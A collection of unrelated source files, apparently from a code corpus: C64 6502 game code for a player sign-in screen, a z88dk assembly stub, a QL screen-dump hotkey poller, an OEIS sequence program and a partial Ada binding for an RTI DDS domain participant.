; NOTE: Y=from, X=to.
lda sign_l_SW_SPR,x
tay
lda sign_l_HW_SPR,x
tax
jsr spr_s_write_to_vic_ii
ldx .count
inx
cpx .END
bne .loop
rts
; end sub sign_s_draw_sprites_for_slot
} ; !zone
; **************************************************
!zone {
sign_s_draw_lower_sprites
; Disable all sprites by default.
; NOTE: preserve sprites #2 and #6 if they have been previously enabled.
lda SPENA
and #$44
sta SPENA
ldx #2
jsr sign_s_draw_sprites_for_slot
ldx #3
jsr sign_s_draw_sprites_for_slot
lda sign_v_border_is_active
+branch_if_false .end
; Nothing to do except enable the relevant sprite numbers (#2 and #6).
lda SPENA
ora #$44
sta SPENA
.end
rts
; end sub sign_s_draw_lower_sprites
} ; !zone
; **************************************************
!zone {
sign_s_draw_numbers
; Bitmap data.
ldx #0
.loop
lda sign_l_SLOT_NUMBERS_DATA,x
sta gfxs_c_BITMAP_BASE+(3*40*8)+(3*8),x
lda sign_l_SLOT_NUMBERS_DATA+8,x
sta gfxs_c_BITMAP_BASE+(8*40*8)+(3*8),x
lda sign_l_SLOT_NUMBERS_DATA+16,x
sta gfxs_c_BITMAP_BASE+(15*40*8)+(3*8),x
lda sign_l_SLOT_NUMBERS_DATA+24,x
sta gfxs_c_BITMAP_BASE+(20*40*8)+(3*8),x
inx
cpx #8
bne .loop
; Colors.
lda #BLACK
sta gfxs_c_DISPLAY_BASE+(3*40)+3
sta gfxs_c_DISPLAY_BASE+(8*40)+3
sta gfxs_c_DISPLAY_BASE+(15*40)+3
sta gfxs_c_DISPLAY_BASE+(20*40)+3
rts
; end sub sign_s_draw_numbers
} ; !zone
; **************************************************
; INPUTS: A = PETSCII code
!zone {
.DEL_KEY = $14
.ASCII_1 = 49
.ASCII_4 = 52
sign_s_handle_keyboard_player_select
cmp #.DEL_KEY
beq .delete
cmp #.ASCII_1
bcc .end
cmp #.ASCII_4+1
bcs .end
; It's a number between 1 and 4, so attempt a player swap.
; NOTE: subtracting 49 (= ASCII '1') from code gives us an index in
; the range [0,4).
sec
sbc #.ASCII_1
sta P0
jsr sign_s_swap_players
rts ; EXIT POINT.
.delete
jsr sign_s_delete_player
rts ; EXIT POINT.
.end
rts
; end sub sign_s_handle_keyboard_player_select
} ; !zone
; **************************************************
; INPUTS: P0 = swap target (in range [0,4)).
!zone {
.ATTR_COUNT = MATHS0
.target !byte 0
sign_s_swap_players
; Swap is defined iff:
; - target != current
; - both target and current are < num players.
lda P0
cmp sign_v_current_player
beq .invalid
lda shared_v_num_players
cmp P0
+ble .invalid
cmp sign_v_current_player
+ble .invalid
; Swap is valid!
ldx P0
stx .target
ldy sign_v_current_player
lda #0
sta .ATTR_COUNT
.loop
lda shared_v_player_name_lens,x
pha
lda shared_v_player_name_lens,y
sta shared_v_player_name_lens,x
pla
sta shared_v_player_name_lens,y
inc .ATTR_COUNT
lda .ATTR_COUNT
cmp #7
beq .done
; Increment both indices by 4 (=shared_c_MAX_PLAYERS) so they're ready
; for the next attribute.
txa
clc
adc #shared_c_MAX_PLAYERS
tax
tya
clc ; Probably don't need this again... Save one byte?!
adc #shared_c_MAX_PLAYERS
tay
jmp .loop
.done
ldx .target
jsr sign_s_erase_name_from_bitmap
jsr sign_s_populate_slot
ldx sign_v_current_player
jsr sign_s_erase_name_from_bitmap
jsr sign_s_populate_slot
+prelude_m_select_sfx
.invalid
rts
; end sub sign_s_swap_players
} ; !zone
; **************************************************
!zone {
sign_s_delete_player
; Is the deletion defined? Current player should be < number of players.
ldx sign_v_current_player
cpx shared_v_num_players
bcc .deletion_defined
+prelude_m_invalid_sfx
rts ; EXIT POINT.
.deletion_defined
; If we're in 'MODE_PLAYER_SELECTION', this player's shirt must be
; returned.
lda sign_v_current_mode
cmp #sign_c_MODE_PLAYER_SELECTION
bne +
jsr sign_s_return_shirt
+
dec shared_v_num_players
; We don't need to do any 'shuffling up' if player we're deleting was in
; the last filled slot. In this case, the player index will be equal to
; the decremented number of players.
ldx sign_v_current_player
cpx shared_v_num_players
beq .repopulate
ldy sign_v_current_player
iny
; Save name index of player we're about to delete on stack. We will later
; write it into slot #3.
lda shared_v_player_name_indices,x
pha
-
lda shared_v_player_name_indices,y
sta shared_v_player_name_indices,x
lda shared_v_player_name_lens,y
sta shared_v_player_name_lens,x
lda shared_v_player_genders,y
sta shared_v_player_genders,x
lda shared_v_player_joysticks,y
sta shared_v_player_joysticks,x
lda shared_v_player_skin_tones,y
sta shared_v_player_skin_tones,x
lda shared_v_player_shirt_color_indices,y
sta shared_v_player_shirt_color_indices,x
; Next and check if at the end.
inx
iny
cpy #shared_c_MAX_PLAYERS
bne -
; Re-use deleted player's name index in last slot.
pla
sta shared_v_player_name_indices+shared_c_MAX_PLAYERS-1
.repopulate
; TODO: won't need to repopulate all slots unless slot #0 was deleted -
; and even then depends on how many players there were before...
jsr sign_s_populate_all_slots
+prelude_m_delete_player_sfx
rts
; end sub sign_s_delete_player
} ; !zone
; **************************************************
; INPUTS: X = slot.
; NOTE: preserves value of X.
!zone {
sign_s_erase_name
lda #0
sta shared_v_player_name_lens,x
; NOTE: allow a second entry point into the routine that preserves
; name length!
sign_s_erase_name_from_bitmap
lda sign_l_TEXT_ADDR_LO,x
sta MATHS0
lda sign_l_TEXT_ADDR_HI,x
sta MATHS1
ldy #(shared_c_MAX_NAME_LEN*8)-1
lda #$ff
-
sta (MATHS0),y
dey
bpl -
rts
; end sub sign_s_erase_name
} ; !zone
; **************************************************
; INPUTS: X = slot.
!zone {
sign_s_erase_icons
; First set the row where the icon will be drawn.
lda sign_l_WINDOW_ROWS,x
sta sign_l_END_OF_WINDOW_ICON
lda sign_l_WINDOW_COLORS,x
sta P2
lda #<sign_l_END_OF_WINDOW_ICON
sta P0
lda #>sign_l_END_OF_WINDOW_ICON
sta P1
jsr icon_s_draw
rts
; end sub sign_s_erase_icons
} ; !zone
; **************************************************
; NOTE: this routine is called when user presses fire button while in
; 'PLAYER_SELECTION' mode. So the first thing to do here is check whether
; we need to add a new player at all, or simply edit an existing one.
!zone {
sign_s_add_player
ldx sign_v_current_player
cpx shared_v_num_players
bne .existing_player
inc shared_v_num_players
jsr sign_s_try_on_first_available_shirt
jsr sign_s_populate_slot
.existing_player
; Returned so we can reselect it while browsing...
jsr sign_s_return_shirt
rts
; end sub sign_s_add_player
} ; !zone
; **************************************************
!zone {
sign_s_update_cursor_pulse
; Do nothing if hamburger is highlighted...
lda sign_v_current_mode
cmp #sign_c_MODE_HAMBURGER
bne +
jsr prelude_s_update_hamburger_pulse
rts ; EXIT POINT.
+
dec sign_v_cursor_pulse_count
bne .end
lda #sign_c_CURSOR_PULSE_DELAY
sta sign_v_cursor_pulse_count
; Go to the next color.
ldy sign_v_current_player
ldx sign_v_cursor_pulse_i
inx
.try_again
lda sign_l_CURSOR_PULSE_COLORS,x
bpl +
ldx sign_l_CURSOR_PULSE_OFFSETS,y
jmp .try_again
+
stx sign_v_cursor_pulse_i
; Color code in accumulator - push onto stack while we get correct
; offset into Y.
pha
; What we do now depends on whether we're editing the name or
; gender/control.
lda sign_v_current_mode
cmp #sign_c_MODE_PLAYER_SELECTION
beq .player_select
cmp #sign_c_MODE_EDITING_NAME
beq .name
; So editing gender/control - this means it's the icon border that's
; pulsing (two sprites).
pla
sta spr_v_color+8
sta spr_v_color+9
rts ; EXIT POINT.
.player_select
pla
ldy #0
sta (sign_c_DOTS_CR_LO),y
rts ; EXIT POINT.
.name
lda shared_v_player_name_lens,y
tay
; Color code comes off top of stack.
pla
sta (CURSOR_POS_SR_LO),y
.end
rts
; end sub sign_s_update_cursor_pulse
} ; !zone
; **************************************************
; INPUTS: X = slot #.
!zone {
sign_s_set_name_text_color
lda sign_l_TEXT_ADDR_SR_LO,x
sta MATHS0
lda sign_l_TEXT_ADDR_SR_HI,x
sta MATHS1
ldy #shared_c_MAX_NAME_LEN
lda #BLACK
-
sta (MATHS0),y
dey
bpl -
rts
; end sub sign_s_set_name_text_color
} ; !zone
; **************************************************
!zone {
sign_s_init_icon_border
ldx sign_v_current_player
lda sign_l_BORDER_A_SPR_Y,x
sta spr_v_y+8
lda sign_l_BORDER_B_SPR_Y,x
sta spr_v_y+9
; Choose the correct x-position based on current mode.
ldy sign_v_current_mode
lda sign_l_BORDER_SPR_X,y
sta spr_v_x_lo+8
sta spr_v_x_lo+9
; Initialize pulsing.
lda #sign_c_CURSOR_PULSE_DELAY
sta sign_v_cursor_pulse_count
sta sign_v_border_is_active
; X still holds current player.
lda sign_l_CURSOR_PULSE_OFFSETS,x
sta sign_v_cursor_pulse_i
tax
lda sign_l_CURSOR_PULSE_COLORS,x
sta spr_v_color+8
sta spr_v_color+9
+prelude_m_select_sfx
rts
; end sub sign_s_init_icon_border
} ; !zone
; **************************************************
!zone {
sign_s_reset_pulse
lda #sign_c_CURSOR_PULSE_DELAY
sta sign_v_cursor_pulse_count
ldx sign_v_current_player
lda sign_l_CURSOR_PULSE_OFFSETS,x
sta sign_v_cursor_pulse_i
tax
lda sign_l_CURSOR_PULSE_COLORS,x
pha
; Color code is in A. Where we write this depends on current mode.
lda sign_v_current_mode
cmp #sign_c_MODE_PLAYER_SELECTION
beq .player_select
cmp #sign_c_MODE_EDITING_NAME
beq .name
; So must be editing gender/control...
pla
sta spr_v_color+8
sta spr_v_color+9
rts ; EXIT POINT.
.player_select
pla
ldy #0
sta (sign_c_DOTS_CR_LO),y
rts ; EXIT POINT.
.name
lda shared_v_player_name_lens,y
tay
; Color code comes off top of stack.
pla
sta (CURSOR_POS_SR_LO),y
rts
; end sub sign_s_reset_pulse
} ; !zone
; **************************************************
!zone {
sign_s_handle_hamburger
; Fire to go back to main menu. Right to go back to player selection.
ldx #joy_c_PORT2
+joy_m_is_right
bne .check_fire
+joy_m_is_locked_right
+branch_if_true .end
+joy_m_lock_right
+prelude_m_browse_sfx
lda #sign_c_MODE_PLAYER_SELECTION
sta sign_v_current_mode
jsr sign_s_reset_pulse
clc
jsr prelude_s_highlight_hamburger
rts ; EXIT POINT.
.check_fire
+joy_m_is_fire
bne .unlock
+joy_m_is_locked_fire
+branch_if_true .end
+joy_m_lock_fire
+prelude_m_back_sfx
lda #sign_c_MODE_EXIT
sta sign_v_current_mode
rts ; EXIT POINT.
.unlock
jsr joy_s_release_all_locks
.end
rts
; end sub sign_s_handle_hamburger
} ; !zone
; **************************************************
!zone {
sign_s_reset_number
lda #BLACK
ldy #0
sta (sign_c_DOTS_CR_LO),y
rts
; end sub sign_s_reset_number
} ; !zone
; **************************************************
!zone {
sign_s_start_editing_name
lda #sign_c_MODE_EDITING_NAME
sta sign_v_current_mode
lda #1
sta sign_v_keyboard_locked
jsr sign_s_add_player
jsr sign_s_set_cursor_pos
jsr sign_s_draw_cursor
jsr sign_s_reset_number
jsr sign_s_reset_pulse
rts
; end sub sign_s_start_editing_name
} ; !zone
; **************************************************
; Clear out any 'dead' characters at the end of each name entry.
!zone {
.END = TREES_HI
sign_s_tidy_up_names
; X keeps track of slots.
ldx #0
.loop_top
lda shared_v_player_name_indices,x
tay
lda shared_l_NAME_OFFSETS+1,y
sta .END
lda shared_l_NAME_OFFSETS,y
clc
adc shared_v_player_name_lens,x
cmp .END
beq .next
tay
lda #SCR_CODE_SPACE
-
sta shared_v_player_names,y
iny
cpy .END
bne -
.next
; NOTE: X still holds slot #.
inx
cpx #4
bne .loop_top
rts
; end sub sign_s_tidy_up_names
} ; !zone
; **************************************************
; INPUTS: X = current player.
!zone {
sign_s_take_shirt
ldy shared_v_player_shirt_color_indices,x
lda #1
sta sign_v_shirts_taken,y
rts
; end sub sign_s_take_shirt
} ; !zone
; **************************************************
; INPUTS: X = current player.
!zone {
sign_s_return_shirt
ldy shared_v_player_shirt_color_indices,x
lda #0
sta sign_v_shirts_taken,y
rts
; end sub sign_s_return_shirt
} ; !zone
; **************************************************
!zone {
sign_s_next_shirt
ldx sign_v_current_player
ldy shared_v_player_shirt_color_indices,x
.again
iny
; Either Y will be out of range, or in range and taken/not taken.
cpy #shared_c_NUM_SHIRT_COLORS
beq .out_of_range
lda sign_v_shirts_taken,y
beq .found
bne .again
.out_of_range
ldy #$ff
bne .again
.found
jsr sign_s_wear_shirt
+prelude_m_browse_sfx
rts
; end sub sign_s_next_shirt
} ; !zone
; **************************************************
!zone {
sign_s_previous_shirt
ldx sign_v_current_player
ldy shared_v_player_shirt_color_indices,x
.again
dey
; Either Y will be out of range, or in range and taken/not taken.
bmi .out_of_range
lda sign_v_shirts_taken,y
beq .found
bne .again
.out_of_range
ldy #shared_c_NUM_SHIRT_COLORS
bne .again
.found
jsr sign_s_wear_shirt
+prelude_m_browse_sfx
rts
; end sub sign_s_previous_shirt
} ; !zone
; **************************************************
; INPUTS: X = current player, Y = shirt index.
; NOTE: 'wear', rather than 'try on', because we're also setting the sprite
; color!
!zone {
sign_s_wear_shirt
tya
sta shared_v_player_shirt_color_indices,x
lda shared_l_PLAYER_SHIRT_COLORS,y
sta spr_v_color,x
rts
; end sub sign_s_wear_shirt
} ; !zone
; **************************************************
; OUTPUTS: Y = shirt index.
!zone {
sign_s_try_on_first_available_shirt
ldy #0
-
lda sign_v_shirts_taken,y
beq .found
iny
bne -
.found
tya
sta shared_v_player_shirt_color_indices,x
rts
; end sub sign_s_try_on_first_available_shirt
} ; !zone
; **************************************************
; **************************************************
; **************************************************
; **************************************************
; **************************************************
; **************************************************
; **************************************************
; **************************************************
; **************************************************
|
libsrc/_DEVELOPMENT/adt/wv_stack/c/sccz80/wv_stack_empty.asm | jpoikela/z88dk | 640 | 26259 |
; int wv_stack_empty(wv_stack_t *s)
SECTION code_clib
SECTION code_adt_wv_stack
PUBLIC wv_stack_empty
EXTERN asm_wv_stack_empty
defc wv_stack_empty = asm_wv_stack_empty
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _wv_stack_empty
defc _wv_stack_empty = wv_stack_empty
ENDIF
|
sys/sdp/poll.asm | olifink/smsqe | 0 | 104342 | * Screen Dump polling V2.00 1987 <NAME> QJUMP
*
section sdp
*
xdef sdp_poll
*
include dev8_keys_sys
include dev8_keys_qu
include dev8_keys_qlv
include dev8_sys_sdp_ddlk
*
*
sdp_poll
move.l sys_ckyq(a6),a2 set keyboard queue pointer
move.l a3,a4 keep linkage block address safe
*
move.w ioq.test,a3 test the queue
jsr (a3)
bne.s sdp_rts ... nothing there
addq.b #1,d1 ... something, is it $FF
bne.s sdp_rts ... ... no
*
* found ALT
*
move.l qu_nexto(a2),a1 now check the next character
addq.l #1,a1
cmp.l qu_endq(a2),a1 off end?
blt.s sdp_tempty ... no, test empty
lea qu_strtq(a2),a1 ... yes, reset out pointer
sdp_tempty
move.l qu_nexti(a2),d2 keep nextin pointer
cmp.l d2,a1 in and out the same?
beq.s sdp_rts ... yes, can't read next character
moveq #0,d1
move.b (a1),d1 get next character
cmp.b sdd_akey(a4),d1 screen dump character?
bne.s sdp_rts ... no
move.l qu_nexto(a2),qu_nexti(a2) remove all pending
tst.b sdd_go(a4) going already?
bne.s sdp_rts ... yes
move.b #1,sdd_go(a4) ... no, go
sdp_rts
rts
end
|
oeis/288/A288869.asm | neoneye/loda-programs | 11 | 173256 | ; A288869: Numerators of z-sequence for the Sheffer matrix T = P*Lah = A271703 = A007318*A271703 = (exp(t), t/(1-t)).
; Submitted by <NAME>
; 1,-1,4,-21,136,-1045,9276,-93289,1047376,-12975561,175721140,-2581284541,40864292184,-693347907421,12548540320876,-241253367679185,4909234733857696,-105394372192969489,2380337795595885156,-56410454014314490981,1399496554158060983080,-36271084122927079387941,980149217579244660514204,-27567930377271475039277881,805741871227189621133838576,-24435533594428382909107147225,767864819264509587686056384276,-24970715064044359271399720374029,839354455161921139362935293192696
sub $1,$0
mov $2,1
mov $3,1
lpb $0
sub $0,1
sub $2,1
mul $3,$2
add $3,$1
mul $1,$2
sub $1,$3
lpe
mov $0,$3
|
src/dds-patches/dds-domainparticipant_impl.adb | alexcamposruiz/dds-requestreply | 0 | 27745 | <reponame>alexcamposruiz/dds-requestreply
-- (c) Copyright, Real-Time Innovations, $Date:: 2012-02-16 #$
-- All rights reserved.
--
-- No duplications, whole or partial, manual or electronic, may be made
-- without express written permission. Any such copies, or
-- revisions thereof, must display this notice unaltered.
-- This code contains trade secrets of Real-Time Innovations, Inc.
with Ada.Unchecked_Conversion;
with DDS.Builtin_KeyedOctets_TypeSupport;
with DDS.Builtin_KeyedString_TypeSupport;
with DDS.Builtin_Octets_TypeSupport;
with DDS.Builtin_String_TypeSupport;
with DDS.PublicationBuiltinTopicData_TypeSupport;
with DDS.ContentFilteredTopic_Impl;
with DDS.DomainParticipantListener.Low_Level;
with DDS.DomainparticipantFactory;
with DDS.ParticipantBuiltinTopicData_TypeSupport;
with DDS.Publisher_Impl;
with DDS.Subscriber_Impl;
with DDS.SubscriptionBuiltinTopicData_TypeSupport;
with DDS.TopicBuiltinTopicData_TypeSupport;
with DDS.Topic_Impl;
with RTIDDS.Low_Level.ndds_dds_c_dds_c_flowcontroller_h;
with RTIDDS.Low_Level.ndds_dds_c_dds_c_builtin_h;
with RTIDDS.Low_Level.ndds_dds_c_dds_c_common_h;
with RTIDDS.Low_Level.ndds_dds_c_dds_c_domain_h;
with RTIDDS.Low_Level.ndds_dds_c_dds_c_domain_impl_h;
with RTIDDS.Low_Level.ndds_dds_c_dds_c_infrastructure_h;
with RTIDDS.Low_Level.ndds_dds_c_dds_c_infrastructure_impl_h;
with RTIDDS.Low_Level.ndds_dds_c_dds_c_publication_h;
with RTIDDS.Low_Level.ndds_dds_c_dds_c_subscription_h;
with RTIDDS.Low_Level.ndds_dds_c_dds_c_topic_h;
with RTIDDS.Low_Level.ndds_pres_pres_participant_h;
with RTIDDS.Low_Level.ndds_pres_pres_common_h;
with System;
with Interfaces.C;
with Ada.Containers.Ordered_Sets;
package body DDS.DomainParticipant_Impl is
use Interfaces.C;
use RTIDDS.Low_Level.ndds_dds_c_dds_c_flowcontroller_h;
use RTIDDS.Low_Level.ndds_dds_c_dds_c_common_h;
use RTIDDS.Low_Level.ndds_dds_c_dds_c_domain_h;
use RTIDDS.Low_Level.ndds_dds_c_dds_c_domain_impl_h;
use RTIDDS.Low_Level.ndds_dds_c_dds_c_infrastructure_h;
use RTIDDS.Low_Level.ndds_dds_c_dds_c_infrastructure_impl_h;
use RTIDDS.Low_Level.ndds_dds_c_dds_c_publication_h;
use RTIDDS.Low_Level.ndds_dds_c_dds_c_subscription_h;
use RTIDDS.Low_Level.ndds_dds_c_dds_c_topic_h;
use RTIDDS.Low_Level.ndds_pres_pres_participant_h;
use DDS.Topic;
use DDS.Subscriber;
use DDS.Publisher;
use System;
use DDS.InstanceHandle_Seq;
type Ref_Access_Access is access all Ref_Access;
type DDS_InstanceHandleSeq_Access is access all DDS_InstanceHandleSeq;
function Convert is new Ada.Unchecked_Conversion (System.Address, DDS.DomainParticipantListener.Ref_Access);
function Convert is new Ada.Unchecked_Conversion (System.Address, Ref_Access_Access);
function Convert is new Ada.Unchecked_Conversion
(Sequence_Access, DDS_InstanceHandleSeq_Access);
function As_Long is new Ada.Unchecked_Conversion (Source => Register_Type_Procedure, Target => Unsigned_Long_Long);
function "<" (L, R : Register_Type_Procedure) return Boolean is
(As_Long (L) < As_Long (R));
package Register_Sets is new Ada.Containers.Ordered_Sets (Element_Type => Register_Type_Procedure, "<" => "<", "=" => "=");
-- Allow storage for access type
Default_Impl_Size : constant DDS.Long := ((System.Address'Size + 7) / 8);
-- Always align on 64-bit boundaries
Default_Impl_Alignment : constant DDS.Long := 8;
Default_UserObjectSettings : constant UserObjectSettings_T :=
(Size => Default_Impl_Size,
Alignment => Default_Impl_Alignment);
Registered_Types : Register_Sets.Set;
--
function Create_Publisher
(Self : not null access Ref;
Qos : in DDS.PublisherQos;
A_Listener : in DDS.PublisherListener.Ref_Access;
Mask : in DDS.StatusMask)
return DDS.Publisher.Ref_Access is
begin
return DDS.Publisher_Impl.CreateI
(Self.GetInterface,
Qos,
A_Listener,
Mask);
end Create_Publisher;
function Create_Publisher_With_Profile
(Self : not null access Ref;
Library_Name : in DDS.String;
Profile_Name : in DDS.String;
A_Listener : in DDS.PublisherListener.Ref_Access := null;
Mask : in DDS.StatusMask := STATUS_MASK_NONE)
return DDS.Publisher.Ref_Access is
Qos : DDS.PublisherQos;
Ret : DDS.Publisher.Ref_Access;
begin
Self.Get_Default_Publisher_Qos (Qos);
DomainParticipantFactory.Get_Instance.Get_Publisher_Qos_From_Profile
(Qos,
Library_Name,
Profile_Name);
Ret := Self.Create_Publisher (Qos, A_Listener, Mask);
return Ret;
end Create_Publisher_With_Profile;
function Create_Publisher_With_Profile
(Self : not null access Ref;
Library_Name : in Standard.String;
Profile_Name : in Standard.String;
A_Listener : in DDS.PublisherListener.Ref_Access := null;
Mask : in DDS.StatusMask := STATUS_MASK_NONE)
return DDS.Publisher.Ref_Access is
Qos : DDS.PublisherQos;
Ret : DDS.Publisher.Ref_Access;
L : DDS.String := To_DDS_String (Library_Name);
P : DDS.String := To_DDS_String (Profile_Name);
begin
Self.Get_Default_Publisher_Qos (Qos);
DomainParticipantFactory.Get_Instance.Get_Publisher_Qos_From_Profile
(Qos,
L,
P);
Ret := Self.Create_Publisher (Qos, A_Listener, Mask);
Finalize (L);
Finalize (P);
return Ret;
end Create_Publisher_With_Profile;
----------------------
-- Delete_Publisher --
----------------------
procedure Delete_Publisher
(Self : not null access Ref;
Publisher : in out DDS.Publisher.Ref_Access)
is
P : constant DDS.Publisher_Impl.Ref_Access :=
DDS.Publisher_Impl.Ref_Access (Publisher);
C_P : System.Address;
use type DDS.Publisher_Impl.Ref_Access;
begin
if P /= null then
C_P := P.GetInterface;
if C_P /= System.Null_Address then
Ret_Code_To_Exception (DDS_DomainParticipant_Delete_Publisher (Self.GetInterface, C_P));
end if;
end if;
Publisher := null;
end Delete_Publisher;
-----------------------
-- Create_Subscriber --
-----------------------
function Create_Subscriber
(Self : not null access Ref;
Qos : in DDS.SubscriberQos;
A_Listener : in DDS.SubscriberListener.Ref_Access;
Mask : in DDS.StatusMask)
return DDS.Subscriber.Ref_Access
is
begin
return (DDS.Subscriber_Impl.CreateI
(DomainParticipant.Ref_Access (Self),
Qos,
A_Listener,
Mask));
end Create_Subscriber;
function Create_Subscriber_With_Profile
(Self : not null access Ref;
Library_Name : in DDS.String;
Profile_Name : in DDS.String;
A_Listener : in DDS.SubscriberListener.Ref_Access := null;
Mask : in DDS.StatusMask := STATUS_MASK_NONE)
return DDS.Subscriber.Ref_Access is
Qos : DDS.SubscriberQos;
begin
Self.Get_Default_Subscriber_Qos (Qos);
Self.Get_Factory.Get_Subscriber_Qos_From_Profile
(Qos,
Library_Name,
Profile_Name);
return Self.Create_Subscriber (Qos, A_Listener, Mask);
end Create_Subscriber_With_Profile;
function Create_Subscriber_With_Profile
(Self : not null access Ref;
Library_Name : in Standard.String;
Profile_Name : in Standard.String;
A_Listener : in DDS.SubscriberListener.Ref_Access := null;
Mask : in DDS.StatusMask := STATUS_MASK_NONE)
return DDS.Subscriber.Ref_Access is
Qos : DDS.SubscriberQos;
L : DDS.String := To_DDS_String (Library_Name);
P : DDS.String := To_DDS_String (Profile_Name);
begin
Self.Get_Default_Subscriber_Qos (Qos);
Self.Get_Factory.Get_Subscriber_Qos_From_Profile
(Qos,
L,
P);
Finalize (L);
Finalize (P);
return Self.Create_Subscriber (Qos, A_Listener, Mask);
end Create_Subscriber_With_Profile;
-----------------------
-- Delete_Subscriber --
-----------------------
procedure Delete_Subscriber
(Self : not null access Ref;
Subscriber : in out DDS.Subscriber.Ref_Access)
is
S : constant DDS.Subscriber_Impl.Ref_Access :=
DDS.Subscriber_Impl.Ref_Access (Subscriber);
C_S : System.Address;
use type DDS.Subscriber_Impl.Ref_Access;
begin
if S /= null then
C_S := S.GetInterface;
if C_S /= System.Null_Address then
Ret_Code_To_Exception
(DDS_DomainParticipant_Delete_Subscriber
(Self.GetInterface,
C_S));
end if;
end if;
Subscriber := null;
end Delete_Subscriber;
-----------------------
-- Create_DataWriter --
-----------------------
function Create_DataWriter
(Self : not null access Ref;
A_Topic : in DDS.Topic.Ref_Access;
Qos : in DDS.DataWriterQos := DDS.Publisher.DATAWRITER_QOS_DEFAULT;
A_Listener : in DDS.DataWriterListener.Ref_Access := null;
Mask : in DDS.StatusMask := STATUS_MASK_NONE)
return DDS.DataWriter.Ref_Access is
begin
return Self.Get_Implicit_Publisher.Create_DataWriter
(A_Topic, Qos, A_Listener, Mask);
end Create_DataWriter;
-----------------------
-- Create_DataWriter --
-----------------------
function Create_DataWriter_With_Profile
(Self : not null access Ref;
A_Topic : in DDS.Topic.Ref_Access;
Library_Name : in DDS.String;
Profile_Name : in DDS.String;
A_Listener : in DDS.DataWriterListener.Ref_Access := null;
Mask : in DDS.StatusMask := STATUS_MASK_NONE)
return DDS.DataWriter.Ref_Access is
begin
return Self.Get_Implicit_Publisher.Create_DataWriter_With_Profile
(A_Topic, Library_Name, Profile_Name, A_Listener, Mask);
end Create_DataWriter_With_Profile;
function Create_DataWriter_With_Profile
(Self : not null access Ref;
A_Topic : in DDS.Topic.Ref_Access;
Library_Name : in Standard.String;
Profile_Name : in Standard.String;
A_Listener : in DDS.DataWriterListener.Ref_Access := null;
Mask : in DDS.StatusMask := STATUS_MASK_NONE)
return DDS.DataWriter.Ref_Access is
begin
return Self.Get_Implicit_Publisher.Create_DataWriter_With_Profile
(A_Topic, Library_Name, Profile_Name, A_Listener, Mask);
end Create_DataWriter_With_Profile;
-----------------------
-- Delete_DataWriter --
-----------------------
procedure Delete_DataWriter
(Self : not null access Ref;
A_DataWriter : in out DDS.DataWriter.Ref_Access) is
begin
Self.Get_Implicit_Publisher.Delete_DataWriter (A_DataWriter);
end Delete_DataWriter;
-----------------------
-- Create_DataReader --
-----------------------
function Create_DataReader
(Self : not null access Ref;
Topic : not null access DDS.TopicDescription.Ref'Class;
Qos : in DDS.DataReaderQoS := DDS.Subscriber.DATAREADER_QOS_DEFAULT;
A_Listener : in DDS.DataReaderListener.Ref_Access := null;
Mask : in DDS.StatusMask := STATUS_MASK_NONE)
return DDS.DataReader.Ref_Access is
begin
return Self.Get_Implicit_Subscriber.Create_DataReader
(Topic, Qos, A_Listener, Mask);
end Create_DataReader;
-----------------------
-- Create_DataReader --
-----------------------
function Create_DataReader_With_Profile
(Self : not null access Ref;
Topic : not null access DDS.TopicDescription.Ref'Class;
Library_Name : in DDS.String;
Profile_Name : in DDS.String;
A_Listener : in DDS.DataReaderListener.Ref_Access := null;
Mask : in DDS.StatusMask := STATUS_MASK_NONE)
return DDS.DataReader.Ref_Access is
begin
return Self.Get_Implicit_Subscriber.Create_DataReader_With_Profile
(Topic, Library_Name, Profile_Name, A_Listener, Mask);
end Create_DataReader_With_Profile;
function Create_DataReader_With_Profile
(Self : not null access Ref;
Topic : not null access DDS.TopicDescription.Ref'Class;
Library_Name : in Standard.String;
Profile_Name : in Standard.String;
A_Listener : in DDS.DataReaderListener.Ref_Access := null;
Mask : in DDS.StatusMask := STATUS_MASK_NONE)
return DDS.DataReader.Ref_Access is
begin
return Self.Get_Implicit_Subscriber.Create_DataReader_With_Profile
(Topic, Library_Name, Profile_Name, A_Listener, Mask);
end Create_DataReader_With_Profile;
-----------------------
-- Delete_DataReader --
-----------------------
procedure Delete_DataReader
(Self : not null access Ref;
A_DataReader : in out DDS.DataReader.Ref_Access) is
begin
Self.Get_Implicit_Subscriber.Delete_DataReader (A_DataReader);
end Delete_DataReader;
----------------------------
-- Get_Builtin_Subscriber --
----------------------------
function Get_Builtin_Subscriber
(Self : not null access Ref)
return DDS.Subscriber.Ref_Access
is
C_Subscriber : System.Address := System.Null_Address;
Subscriber : DDS.Subscriber_Impl.Ref_Access;
Is_Newly_Created : aliased DDS_Boolean := 0;
Need_To_Enable : aliased DDS_Boolean := 0;
use type DDS.Subscriber_Impl.Ref_Access;
begin
-- Get builtin subscriber
C_Subscriber := DDS_DomainParticipant_Get_Builtin_SubscriberI
(Self.GetInterface,
Is_Newly_Created'Access,
Need_To_Enable'Access,
1,
RTIDDS.Low_Level.ndds_pres_pres_common_h.PRES_GROUP_SUFFIX_NORMAL_USER_VIRTUAL_READER_GROUP);
if C_Subscriber = System.Null_Address then
return null;
end if;
-- If it had just been created in C, then create in Ada
if Is_Newly_Created = 1 then
Subscriber := DDS.Subscriber_Impl.Create_WrapperI (C_Subscriber);
if Subscriber = null then
return null;
end if;
if Need_To_Enable = 1 then
Subscriber.Enable;
end if;
return DDS.Subscriber.Ref_Access (Subscriber);
else
-- It already exists in Ada
return DDS.Subscriber.Ref_Access (DDS.Subscriber_Impl.Get_FacadeI
(C_Subscriber));
end if;
end Get_Builtin_Subscriber;
----------------------------
-- Get_Implicit_Publisher --
----------------------------
function Get_Implicit_Publisher
(Self : not null access Ref)
return DDS.Publisher.Ref_Access is
C_Publisher : System.Address := System.Null_Address;
Publisher : DDS.Publisher_Impl.Ref_Access;
Is_Newly_Created : aliased DDS_Boolean := 0;
Need_To_Enable : aliased DDS_Boolean := 0;
use type DDS.Publisher_Impl.Ref_Access;
begin
-- Get implicit publisher
C_Publisher := DDS_DomainParticipant_Get_Implicit_PublisherI
(Self.GetInterface, Is_Newly_Created'Access, Need_To_Enable'Access,
1);
if C_Publisher = System.Null_Address then
return null;
end if;
-- If it had just been created in C, then create in Ada
if Is_Newly_Created = 1 then
Publisher := DDS.Publisher_Impl.Create_WrapperI (C_Publisher);
if Publisher = null then
begin
DDS.Ret_Code_To_Exception
(DDS_DomainParticipant_Delete_Publisher
(Self.GetInterface,
C_Publisher));
exception
when others =>
null;
end;
return null;
end if;
if Need_To_Enable = 1 then
Publisher.Enable;
end if;
return DDS.Publisher.Ref_Access (Publisher);
else
